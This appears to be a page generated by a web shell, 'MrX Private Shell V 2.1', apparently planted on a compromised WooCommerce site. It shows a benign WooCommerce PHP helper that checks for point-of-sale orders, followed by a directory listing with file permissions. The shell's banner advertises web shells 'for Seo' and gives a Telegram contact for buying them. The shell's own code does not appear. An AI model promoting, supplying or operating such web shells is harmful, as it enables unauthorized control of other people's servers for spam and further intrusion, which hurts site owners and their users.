__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* PointOfSaleOrderUtil class file.
*/
declare( strict_types = 1 );
namespace Automattic\WooCommerce\Internal\Orders;
use WC_Abstract_Order;
/**
* Helper class for POS order related functionality.
*
* @internal Just for internal use.
*/
class PointOfSaleOrderUtil {
/**
* Check if the order is a POS (Point of Sale) order.
*
* This method determines if an order was created via the POS REST API
* by checking the 'created_via' property of the order.
*
* @param WC_Abstract_Order $order Order instance.
* @return bool True if the order is a POS order, false otherwise.
*/
public static function is_pos_order( WC_Abstract_Order $order ): bool {
return 'pos-rest-api' === $order->get_created_via();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CardIcons | Folder | 0775 |
|
|
| CouponsController.php | File | 3.57 KB | 0664 |
|
| IppFunctions.php | File | 2.19 KB | 0664 |
|
| MobileMessagingHandler.php | File | 5.5 KB | 0664 |
|
| OrderActionsRestController.php | File | 21.04 KB | 0664 |
|
| OrderAttributionBlocksController.php | File | 4.37 KB | 0664 |
|
| OrderAttributionController.php | File | 15.32 KB | 0664 |
|
| OrderNoteGroup.php | File | 1.4 KB | 0664 |
|
| OrderStatusRestController.php | File | 2.62 KB | 0664 |
|
| PaymentInfo.php | File | 4.67 KB | 0664 |
|
| PointOfSaleOrderUtil.php | File | 740 B | 0664 |
|
| TaxesController.php | File | 1.8 KB | 0664 |
|